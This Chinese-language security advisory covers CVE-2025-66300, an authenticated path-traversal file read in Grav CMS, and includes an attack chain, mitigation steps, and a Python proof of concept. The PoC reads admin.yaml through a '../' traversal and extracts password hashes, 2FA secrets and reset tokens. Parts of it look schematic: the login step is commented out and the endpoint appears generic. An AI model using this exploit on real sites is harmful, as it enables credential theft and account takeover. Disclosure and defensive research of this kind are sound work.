IPBUF安全漏洞报告
English
CVE-2025-66300 CVSS 8.5 高危

CVE-2025-66300 Grav CMS 任意文件读取漏洞

披露日期: 2025-12-01

漏洞信息

漏洞编号
CVE-2025-66300
漏洞类型
任意文件读取
CVSS评分
8.5 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Grav CMS

相关标签

任意文件读取路径遍历敏感信息泄露Grav CMS权限绕过密码哈希泄露CVE-2025-66300

漏洞概述

CVE-2025-66300是Grav CMS中的一个高危安全漏洞,CVSS评分达到8.5。该漏洞允许拥有页面编辑权限的低权限用户通过Frontmatter表单读取服务器上的任意文件,包括Grav用户账户文件(/grav/user/accounts/*.yaml),这些文件包含用户密码哈希、2FA密钥和密码重置令牌。攻击者利用此漏洞可以获取其他用户的密码哈希进行离线破解,或者直接使用密码重置令牌重置任意账户密码,从而实现对系统的完全控制。该漏洞影响1.8.0-beta.27之前的所有版本,已在1.8.0-beta.27版本中修复。

技术细节

Grav CMS的Frontmatter表单功能存在路径遍历漏洞。在处理表单输入时,系统未对用户提供的文件名参数进行充分的路径验证和过滤,允许攻击者使用../等路径遍历序列访问系统任意文件。攻击者只需拥有基本的页面编辑权限,即可构造恶意请求读取敏感文件。成功利用后可获取:1) 用户密码的bcrypt哈希值,可通过彩虹表或暴力破解获取明文密码;2) 2FA认证密钥,可用于绕过双因素认证;3) 密码重置令牌,可直接重置任意账户密码。攻击者获取这些信息后可横向移动,控制整个CMS系统甚至服务器。

攻击链分析

STEP 1
步骤1
攻击者获取或注册一个拥有页面编辑权限的低权限Grav CMS账户
STEP 2
步骤2
攻击者构造包含路径遍历序列的恶意请求,通过Frontmatter表单访问任意文件路径,如../../../../../../../grav/user/accounts/admin.yaml
STEP 3
步骤3
服务器未正确验证路径参数,返回目标文件内容,攻击者获取包含密码哈希、2FA密钥和重置令牌的用户账户文件
STEP 4
步骤4
攻击者使用密码重置令牌直接重置目标用户密码,或离线破解密码哈希获取明文密码
STEP 5
步骤5
攻击者使用获取的凭证登录目标账户,实现对CMS系统的完全控制,可能进一步横向移动至服务器

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import re target = "http://target-grav-site.com" username = "attacker_account" password = "attacker_password" # Step 1: Login to Grav CMS session = requests.Session() login_url = f"{target}/task:login" login_data = { "username": username, "password": password } # session.post(login_url, data=login_data) # Step 2: Exploit path traversal via Frontmatter form to read user account file file_to_read = "../../../../../../../grav/user/accounts/admin.yaml" exploit_url = f"{target}/admin/pages/ajax" headers = { "Content-Type": "application/x-www-form-urlencoded" } payload = { "action": "readfile", "file": file_to_read } # Send malicious request response = session.post(exploit_url, data=payload, headers=headers) # Step 3: Parse response to extract sensitive data if response.status_code == 200: content = response.text # Extract password hash password_hash = re.search(r'password: (.+)', content) # Extract 2FA secret twofa_secret = re.search(r'twofa_secret: (.+)', content) # Extract password reset token reset_token = re.search(r'reset_token: (.+)', content) print(f"Password Hash: {password_hash.group(1) if password_hash else 'Not found'}") print(f"2FA Secret: {twofa_secret.group(1) if twofa_secret else 'Not found'}") print(f"Reset Token: {reset_token.group(1) if reset_token else 'Not found'}")

影响范围

Grav CMS < 1.8.0-beta.27

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时措施:1) 禁用不必要的页面编辑权限,仅保留管理员权限;2) 在Web服务器层面配置,禁止访问/grav/user/accounts/等敏感目录;3) 加强对用户账户文件的保护,确保密码使用强bcrypt哈希;4) 监控日志中的异常路径遍历请求;5) 考虑使用WAF规则阻断包含../的请求。建议尽快升级到修复版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表